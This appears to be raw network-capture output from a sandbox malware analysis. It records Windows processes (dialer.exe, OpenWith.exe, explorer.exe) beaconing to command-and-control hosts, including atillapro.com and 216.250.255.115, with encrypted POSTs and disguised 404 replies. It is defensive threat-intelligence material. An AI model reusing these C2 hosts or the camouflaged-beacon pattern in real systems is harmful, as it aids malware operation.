Apr 9, 2024 14:54:08.267153025 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.267185926 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.267185926 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.267221928 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.267221928 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.267258883 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.267287016 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.267287016 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.267319918 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.267319918 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.267354965 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.267354965 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.267386913 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.267386913 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.267417908 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.267417908 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.267450094 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.267450094 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.267482996 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.267482996 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.267525911 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.267525911 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.267560959 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.267560959 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.267592907 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.267592907 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.267625093 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.267625093 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.267657995 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.267657995 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.267692089 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.267692089 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.267725945 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.267725945 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.267759085 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.267759085 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.267791986 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.267791986 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.267827988 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.267827988 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.267868996 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.267868996 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.267904043 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.267904043 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.267936945 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.267936945 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.267972946 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.267972946 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268006086 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268006086 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268038988 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268038988 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268070936 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268070936 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268105030 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268105030 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268136024 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268136024 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268168926 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268168926 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268204927 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268204927 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268244982 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268244982 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268280983 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268280983 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268312931 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268312931 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268345118 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268345118 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268377066 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268377066 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268409967 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268409967 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268445969 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268445969 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268482924 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268482924 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268516064 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268516064 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268551111 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268551111 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268589973 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268589973 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268623114 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268623114 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268654108 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268654108 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268690109 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268690109 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268723965 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268723965 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268757105 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268757105 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268790007 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268790007 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268826962 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268826962 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268862963 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268862963 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268896103 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268896103 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.268932104 CEST	49744	80	192.168.2.4	185.196.8.137

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 9, 2024 14:53:59.874305964 CEST	192.168.2.4	1.1.1.1	0x6ed7	Standard query (0)	atillapro.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 9, 2024 14:54:00.035494089 CEST	1.1.1.1	192.168.2.4	0x6ed7	No error (0)	atillapro.com		185.196.8.137	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	216.250.255.115	80	7144	C:\Windows\SysWOW64\dialer.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:53:07.134613991 CEST	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 66 15 3a 32 f2 c2 c9 3a 89 27 55 a5 5b b8 d4 d8 f1 a4 46 23 6f 52 06 c5 24 a4 fd 54 5e 7e 15 5f 00 00 50 cc a8 cc a9 cc aa c0 2c c0 30 00 9f c0 24 c0 28 00 6b c0 0a c0 14 00 39 c0 2b c0 2f 00 9e c0 23 c0 27 00 67 Data Ascii: f:2:'U[F#oR$T^~_P,0$(k9+/#'g3=52*.&</1)-%H#
Apr 9, 2024 14:53:07.292083979 CEST	1289	IN	Data Raw: 16 03 03 00 37 02 00 00 33 03 03 fb 61 11 ea 46 8c d9 67 a0 d6 e3 6d 6e b1 9c 69 2b b4 3b 9d 14 99 ad f7 16 9e af 13 95 f8 29 f5 00 cc a8 00 00 0b ff 01 00 01 00 00 0b 00 02 01 00 16 03 03 03 ab 0b 00 03 a7 00 03 a4 00 03 a1 30 82 03 9d 30 82 02 Data Ascii: 73aFgmni+;)00A`.eVhe0*H0~10UXX10UN/A10UN/A1 0USelf-signed certificate110/U(216.250.255.115: Self-signed c
Apr 9, 2024 14:53:07.292104006 CEST	130	IN	Data Raw: ee 0a d3 75 2e 18 5d af 26 b2 4a d4 be 82 6d 94 f0 65 d5 25 f0 0e 4d 4b 7b 93 1f 9d 1a 42 89 97 34 8f 65 51 24 a0 7b b3 c2 42 61 83 06 66 c0 10 96 d7 3f 7e 84 96 c3 40 1d 96 42 fa 4f 57 5f e8 2b a4 14 ad ba 82 48 3a be bf 0a d4 e8 60 2d a7 25 7a Data Ascii: u.]&Jme%MK{B4eQ${Baf?~@BOW_+H:`-%z'cY6">qX$fEsh\J
Apr 9, 2024 14:53:07.308028936 CEST	186	OUT	Data Raw: 16 03 03 00 8a 10 00 00 86 85 04 00 a9 17 30 97 bd e1 08 62 b2 8e 4a d2 70 0a 3e ba 32 78 c2 14 15 09 19 84 3e 64 2e 5d c2 f4 1d a6 a7 5d 24 ba 5a 63 6c 07 db 0b e9 88 b3 3d 99 3f 02 3a c7 7e d7 ce e9 ec ba 73 60 95 d8 92 09 aa 8e 00 42 26 d0 07 Data Ascii: 0bJp>2x>d.]]$Zcl=?:~s`B&Z[5Q?zV#ML63gwvq;zSy)^yM,H 5o;@iUr%
Apr 9, 2024 14:53:07.465403080 CEST	43	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 20 01 a3 8d c6 92 58 8e 57 4b 4c 9b de fd 20 03 e9 06 66 02 90 5c 85 e0 8a dc cc b8 13 0a a2 f7 c1 Data Ascii: XWKL f\
Apr 9, 2024 14:53:07.474651098 CEST	577	OUT	Data Raw: 17 03 03 02 3c 77 af d1 a5 09 a3 e8 c4 32 12 41 9b e9 e7 8c 53 b1 4e 75 e1 a0 df b7 40 90 8d 94 bb ac 74 fb 1f f6 75 5f d5 7a 50 59 d4 1d 47 d8 cc ac eb 8d cc 7c 13 0f d2 b9 fb 0c 99 33 1d aa d7 8d 52 33 9c 04 cb e1 7c 89 e0 b4 41 b1 31 43 84 cc Data Ascii: <w2ASNu@tu_zPYG\|3R3\|A1C7.+%1$rf71e~.\t`:bsqdl`KJJzJWZA:DeQ^}juvv_b6`/v9%W3Fpls7B&c#
Apr 9, 2024 14:53:07.672810078 CEST	1208	IN	Data Raw: 17 03 03 04 b3 21 55 d1 d8 db ac d6 97 d1 07 c8 ea 96 a0 ce 7e 80 2b ae e5 d5 18 cf 19 08 ee 60 1f db 79 ba 96 0e b0 3b 0a 57 65 5a 52 44 04 d8 a8 ad 9c 01 43 21 a4 fa c0 f8 55 65 16 bd 74 ce 26 f9 0f e5 06 ff c3 15 8d 69 3e b8 da d9 3c 25 45 d2 Data Ascii: !U~+`y;WeZRDC!Uet&i><%EK% 8DUY>ea_!38wOHFB<FPH>'25[sIPeir40^2P2O[c\4q5g[]e."+<1Pz
Apr 9, 2024 14:53:07.672832012 CEST	1289	IN	Data Raw: 17 03 03 09 56 4d 7e 3a 9f 55 06 ba e9 86 e3 e6 4c 15 ed d3 65 88 26 c9 a8 c7 86 bf f6 8e 19 d0 42 68 f4 39 4e 34 02 2e e3 2b 33 29 4c 30 44 31 cc 22 ac 53 ef 3d fb 79 c6 da e2 a7 a1 fc de 69 5b 0c 7a 9f ae 77 73 13 4e f8 b0 71 34 38 2c fb 22 66 Data Ascii: VM~:ULe&Bh9N4.+3)L0D1"S=yi[zwsNq48,"fH$<=prHvR*i uA@e<sK<5B3-z9c.b8nN[<mpPn!(;g{FO
Apr 9, 2024 14:53:07.672872066 CEST	1106	IN	Data Raw: 11 6b 7e 04 3e fc 8e 9d 21 1f ce c6 2c f7 96 fe 39 e6 09 55 6e e8 84 e7 9b 90 46 a3 b3 29 17 ca 4c b8 4b c7 6e 90 60 43 a3 96 c8 67 a5 96 10 99 16 76 17 6d 0c 59 a8 21 64 f9 c7 11 05 43 ce c9 a2 d3 e1 4b 7a cb 16 33 d8 3a 61 2e 5e 5c df 38 17 91 Data Ascii: k~>!,9UnF)LKn`CgvmY!dCKz3:a.^\8F^Vc-auJpxI)7f@yxvtS3<DYQ{^Mj"\|m$o/4`llPD#dpJLpw31P
Apr 9, 2024 14:53:07.672991037 CEST	1289	IN	Data Raw: 17 03 03 02 27 cf a3 6a 69 0e 89 3e 83 e2 c6 91 7e 61 58 38 7a 54 58 c5 67 ff 95 ad 95 cf 84 68 e1 de 36 4f d3 47 cd 98 e0 f5 65 e6 c0 75 9c e8 d1 8d b5 40 49 cc ec dc 68 a8 9a 39 bb 2a b2 a1 b8 ee f2 dc ec 74 af 78 f9 fc 0b 7f a2 4c 2f 87 09 17 Data Ascii: 'ji>~aX8zTXgh6OGeu@Ih9*txL/I,/.Q!%hiEE3BgXbsi'Yan~\i(mT(;Gg^Xch6>q0_GM!esol$/ja1Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49733	216.250.255.115	80	6300	C:\Windows\System32\OpenWith.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:53:18.959784031 CEST	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 66 15 3a 3e 19 97 2b 31 08 38 3b 6e 56 87 e5 e9 b4 3f 88 dc 87 00 d7 7d 3e 50 ce 23 e2 df ec ab 00 00 50 cc a8 cc a9 cc aa c0 2c c0 30 00 9f c0 24 c0 28 00 6b c0 0a c0 14 00 39 c0 2b c0 2f 00 9e c0 23 c0 27 00 67 Data Ascii: f:>+18;nV?}>P#P,0$(k9+/#'g3=52*.&</1)-%H#
Apr 9, 2024 14:53:19.117626905 CEST	1289	IN	Data Raw: 16 03 03 00 37 02 00 00 33 03 03 97 10 aa ed ea 62 f3 c1 67 1b 5f 92 74 ee fb f6 93 f3 57 06 00 fd 6f 08 b5 d9 9d d9 92 e9 05 c5 00 cc a8 00 00 0b ff 01 00 01 00 00 0b 00 02 01 00 16 03 03 03 ab 0b 00 03 a7 00 03 a4 00 03 a1 30 82 03 9d 30 82 02 Data Ascii: 73bg_tWo00A`.eVhe0*H0~10UXX10UN/A10UN/A1 0USelf-signed certificate110/U(216.250.255.115: Self-signed c
Apr 9, 2024 14:53:19.117676973 CEST	130	IN	Data Raw: 4c 24 0c dc 1e d5 9d 62 78 1c 99 eb d2 8e 15 56 d5 40 60 fc 71 bc ab 9b fa f3 95 00 da 03 af 7c a6 73 79 c4 f9 0b f6 d6 b2 f0 d2 9d 7d 13 20 6b f5 17 ee a6 36 aa 38 ce ed 02 e0 99 00 e8 1d fe 2b 8d 41 9f 04 51 6b 18 5b 70 c3 cd ee 80 19 eb 0e 0b Data Ascii: L$bxV@`q\|sy} k68+AQk[p-O--=4cF^_%M{>m
Apr 9, 2024 14:53:19.128860950 CEST	186	OUT	Data Raw: 16 03 03 00 8a 10 00 00 86 85 04 00 d5 49 2d 2c 4f 62 0f 5d c5 f8 49 a9 2c a3 69 a2 c7 77 1d 89 c4 61 c5 c9 d0 a7 04 03 a0 6a fe c6 99 a2 47 18 91 c8 dc 76 bf c7 af 47 59 1a bd dd 74 1c e4 9b 94 4f f1 32 63 a5 8d e5 41 a3 a5 87 57 00 c8 a0 a5 5b Data Ascii: I-,Ob]I,iwajGvGYtO2cAW['\xZN?Ey8bD>Mnh[L{/0N 0S?O^l+r^sD
Apr 9, 2024 14:53:19.288018942 CEST	43	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 20 54 17 cc ec dc b7 8f 88 4a f7 5e 90 72 15 ce 2a d8 c0 cf 68 24 5a e7 b8 86 e2 db 67 31 d1 5b cb Data Ascii: TJ^r*h$Zg1[
Apr 9, 2024 14:53:19.288225889 CEST	493	OUT	Data Raw: 17 03 03 01 e8 e2 f8 e9 b8 66 2f b1 9e b5 1b eb 37 05 82 df 02 e3 d1 fc c4 e3 10 17 b1 41 15 e0 cb 51 1a 4d cc 28 43 48 f0 18 47 66 03 16 92 73 01 ad a1 2e 71 fe 5f d7 fc 7b 34 fb 87 4f b9 a9 f1 e3 0a fa 7a f6 53 44 5a de 0a 1d 95 57 8e 76 18 0a Data Ascii: f/7AQM(CHGfs.q_{4OzSDZWv.O{oCJZB&h%^7-7S5)8I4}m%[BUk6_DPfnM\|4#xG>SloAXPcqSD7D}=,B)tH]p=xf
Apr 9, 2024 14:53:19.439502001 CEST	177	IN	Data Raw: 17 03 03 00 ac 8c dd 9b 31 d8 85 04 e8 8c a7 07 c5 c1 92 93 68 ec aa 8e 3b 69 46 3d 71 b1 11 12 78 6f 99 79 46 9e b2 37 43 16 7d f7 dc 8c 98 35 1c 03 5b 70 8a 8e de 7a a3 07 44 5f 3b e9 6f 59 7e 13 76 ad a8 7d 9d 46 ed d4 68 61 b4 f2 de ea 6d cb Data Ascii: 1h;iF=qxoyF7C}5[pzD_;oY~v}FhamnW9lzYt3V_XElnYWkE]-ZTS=RBrq'JH$xs?0
Apr 9, 2024 14:53:19.450119019 CEST	29	OUT	Data Raw: 17 03 03 00 18 e7 96 58 3e f9 49 c9 df 5e 2e 2d 7d 13 5c 63 67 f0 c8 8a e2 03 3c 73 4f Data Ascii: X>I^.-}\cg<sO
Apr 9, 2024 14:53:19.601500034 CEST	216	OUT	Data Raw: 17 03 03 00 d3 83 64 46 71 a1 6a 1c 7a a2 4a 77 73 35 3e c3 1f 11 9a 03 15 cf 36 42 64 ac e2 f9 c7 18 41 55 c4 bc c3 88 dc 65 36 58 5a b1 09 d5 9c 55 41 42 6d e7 4e 3e e0 6b 22 1a 21 fd f1 ff 06 28 d4 df b0 a6 5e a0 58 84 df 1b ba c5 60 1b 19 b7 Data Ascii: dFqjzJws5>6BdAUe6XZUABmN>k"!(^X`qbT9O?U;W8ql8;a;3B6]KneC&v%?xY~:"djT{^s gwvWb3x9B
Apr 9, 2024 14:53:19.753197908 CEST	119	IN	Data Raw: 17 03 03 00 72 aa 24 58 2b c0 47 81 76 40 e1 2a b4 30 26 08 69 71 2d 41 54 ac 5b 2e d0 94 89 9d b8 48 d0 96 10 51 db 65 cf 54 79 39 03 be 3d f3 7b 6f 43 53 ab 90 d9 cf 0f c0 a7 72 73 51 03 17 f3 5e fe be 6e 6b a5 ec 08 e3 39 98 a7 01 5c 75 a9 fe Data Ascii: r$X+Gv@*0&iq-AT[.HQeTy9={oCSrsQ^nk9\ur~z,EQ6ZkH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49737	216.250.255.115	80	6300	C:\Windows\System32\OpenWith.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:53:27.290729046 CEST	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 66 15 3a 46 33 7b 6d 2c 5d ee 7e f3 53 67 46 49 8b 52 09 ad 97 ca 0c a2 fa 17 05 58 3a 75 d0 88 00 00 50 cc a8 cc a9 cc aa c0 2c c0 30 00 9f c0 24 c0 28 00 6b c0 0a c0 14 00 39 c0 2b c0 2f 00 9e c0 23 c0 27 00 67 Data Ascii: f:F3{m,]~SgFIRX:uP,0$(k9+/#'g3=52*.&</1)-%H#
Apr 9, 2024 14:53:27.448395014 CEST	1289	IN	Data Raw: 16 03 03 00 37 02 00 00 33 03 03 d6 1c b8 31 b4 13 d2 e2 d9 af 68 d1 16 52 2b 29 53 5f 50 78 e2 d5 97 92 57 ce ab 32 28 0f e3 b3 00 cc a8 00 00 0b ff 01 00 01 00 00 0b 00 02 01 00 16 03 03 03 ab 0b 00 03 a7 00 03 a4 00 03 a1 30 82 03 9d 30 82 02 Data Ascii: 731hR+)S_PxW2(00A`.eVhe0*H0~10UXX10UN/A10UN/A1 0USelf-signed certificate110/U(216.250.255.115: Self-signed c
Apr 9, 2024 14:53:27.448415995 CEST	130	IN	Data Raw: ce 30 5f 6e 6f 8b a2 1b bb ad f0 81 8c 29 82 9d 9f 39 d2 f6 3b 8d 61 4b c8 4c 87 12 01 0f 4f 77 89 72 e1 33 ab 93 77 3f 20 5b 85 a0 67 bc 3a d7 67 85 5c c5 dd a4 35 a7 7e b6 81 e6 7d e1 a6 7a 25 a5 d8 94 c9 94 a5 50 19 2a b7 c2 9b 16 1b b9 67 df Data Ascii: 0_no)9;aKLOwr3w? [g:g\5~}z%P*grZ1dCL{iwYq{
Apr 9, 2024 14:53:27.456056118 CEST	186	OUT	Data Raw: 16 03 03 00 8a 10 00 00 86 85 04 01 e3 f1 b9 88 e4 2e f1 0c 3b 6d ed fd ba 02 94 9f 2a 49 68 a8 55 1d 6a be 8d 3a c4 ee 2b 2c 17 02 af 1a e7 41 d8 bd 8d db af 40 b4 e1 02 66 e3 85 c4 68 03 3b a7 66 51 52 3d 18 31 6c 60 37 98 b3 b2 01 40 96 be f5 Data Ascii: .;mIhUj:+,A@fh;fQR=1l`7@-l=7\|2Q^Lx {fl.`L6 :JJ:(X7~pz
Apr 9, 2024 14:53:27.614276886 CEST	43	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 20 e0 3b 40 a8 0f 8c 9f df f5 9b 57 be d4 fd c3 09 ae 4b 45 89 ef 68 d0 5b 44 f1 8c 21 ef 14 f5 81 Data Ascii: ;@WKEh[D!
Apr 9, 2024 14:53:27.614521027 CEST	493	OUT	Data Raw: 17 03 03 01 e8 64 b4 89 ad 1f c5 03 2b da fd cc 74 e4 92 5d 00 47 7b aa b1 f3 70 78 30 a1 9e 7f 31 07 64 6b 1e 6a 06 1b 3b dd 65 cc c7 74 72 2a 0b 5f 0c f0 eb ac 00 48 42 a1 f0 5e d6 1d 8a 45 1d 7c 1f af f7 e6 ac 8a 02 12 0c ff 85 fb 1f 23 0d ce Data Ascii: d+t]G{px01dkj;etr_HB^E\|#+$wFmB[PG7zb-GJ+ wdC=IC4{?}r!!0#xZ&',Z-iITXQm#2k6\/)y\Fy!(ND
Apr 9, 2024 14:53:27.766064882 CEST	177	IN	Data Raw: 17 03 03 00 ac 9a f0 71 aa 87 45 ea 42 a0 e2 f7 25 8c a1 8a f5 4f 08 af 61 99 19 8f 21 f0 80 f7 65 6e 69 0b 33 cd 76 4a a5 fb 89 8c 40 1b 34 27 a4 ac 10 5e f8 64 54 ad 42 a6 ca ce 61 da e9 69 3e 04 8f 81 98 22 ed 5d 59 95 cc 91 a3 af 8e a3 ff 37 Data Ascii: qEB%Oa!eni3vJ@4'^dTBai>"]Y7 4aGi[J2#ax&YhF~:O2s#_}HSKR91;:5oFFd#QxO>(
Apr 9, 2024 14:53:27.768639088 CEST	29	OUT	Data Raw: 17 03 03 00 18 ee 2b 71 bb 43 26 9e 1d 0e 93 4c fb c8 55 86 3f 25 40 cd 16 08 54 86 e1 Data Ascii: +qC&LU?%@T
Apr 9, 2024 14:53:27.920011044 CEST	209	OUT	Data Raw: 17 03 03 00 cc 97 12 7a 9a 8d 7d 2d 80 db a3 ac 6c 08 d8 79 0d 5b 46 d0 bf 76 d9 a1 85 64 b9 bf 65 35 e4 16 1a 09 4e 3e ec ae ee 97 f3 06 11 c3 d7 0e ca be 4d 42 74 ae 37 3d 6d b0 61 af 11 e0 fd 3c 78 26 f3 d6 7b c7 ed 7f 5b 6f a5 7f fb 93 f0 2f Data Ascii: z}-ly[Fvde5N>MBt7=ma<x&{[o/,FjmpePSm4Q@;,qa$_7ho+rZ+T:!lms_*9Tc?e%0xU_&9N>
Apr 9, 2024 14:53:28.071633101 CEST	119	IN	Data Raw: 17 03 03 00 72 86 12 5e ef b3 e8 10 8c 9e bc f4 da 58 f7 93 c7 62 4b da fc 1c 9e 67 43 c6 8b f7 90 16 5a fa c0 aa 9e e6 95 3f 13 b3 88 28 d1 f1 26 12 df 47 db d2 10 0c 5a ff 15 63 96 27 5e c9 db 5f 11 36 cf a9 f5 67 ab f1 d0 c2 71 4c 3a 38 5a 7e Data Ascii: r^XbKgCZ?(&GZc'^_6gqL:8Z~AMk\?29x/8mp-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49739	185.196.8.137	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:00.213618040 CEST	266	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://igyfstwj.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 305 Host: atillapro.com
Apr 9, 2024 14:54:00.213644028 CEST	305	OUT	Data Raw: 0d 3c 87 f5 4d 3e 50 d5 70 1b c3 49 8c 51 7b bf 74 00 0f da 0d 5a fc 7f f2 cb f8 5c 4c 0c 29 ed c2 56 2d 55 91 cd ef 30 84 0e 11 2b f8 28 82 c3 a7 02 15 b0 00 55 60 c9 74 0d 18 ee df e5 3b 71 81 2e f5 d0 3a 51 bf 61 ba 1f 28 d0 8c 3c a2 07 22 74 Data Ascii: <M>PpIQ{tZ\L)V-U0+(U`t;q.:Qa(<"t#Sx{niC2&?Q@S, ymM}77.bIl\|aW!7ZN~x%[1Ji`gB!c]u}.]z*&o_!0oLDV~yN[Th,D!ltV
Apr 9, 2024 14:54:00.413510084 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Tue, 09 Apr 2024 12:54:00 GMT Server: Apache/2.4.41 (Ubuntu) Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=utf-8 Data Raw: 36 31 62 33 39 0d 0a 6a 00 00 00 b8 28 14 57 2d e6 eb 90 4b eb f7 84 fc 11 c5 0d 74 dc f3 21 b8 df 7a cd 44 92 db 0b c4 43 88 88 d1 dd 2c 8c f8 94 3c 5a 0f 2b 88 fe 76 12 7f c0 09 1a e7 30 0b 48 62 37 bf 2a 3f be a4 73 e2 69 56 4e f4 7e 4c 81 65 4d 7c 56 1f 60 69 bb f3 0b c9 04 19 18 71 dc bd 82 9e 13 43 0c 10 a2 62 5b 67 25 8b ad cc 2b e9 7c 6d 70 00 ca 1a 06 00 1e 14 5a 68 09 09 06 00 09 00 9e 03 00 00 c9 af 4b 06 fd b7 e4 cf 75 1b fc fb 41 03 50 00 0d 86 9d 19 b2 92 4f 19 b2 66 40 79 bf 3c e0 e9 a8 07 97 29 55 ed 4f 8a 5d 83 99 58 79 32 ff 29 50 7a 91 ac 48 c1 33 62 c9 4e a5 df a2 8f 11 d8 b8 ec 45 8e 46 e1 7e 91 7f 98 62 f6 28 fe b2 ef da d8 10 c5 ff 00 0e 53 22 7c a0 e3 92 a3 70 fd 5d 0f 52 61 f9 c4 d2 17 e6 bc 78 13 d6 a5 f4 42 10 56 ec 33 3e 1f 4a e0 b2 1b 12 46 e3 67 fd a4 64 e6 19 c4 0e 9f 2d 91 d7 3d b5 4a ac 58 89 77 c1 59 82 ca 6a f1 43 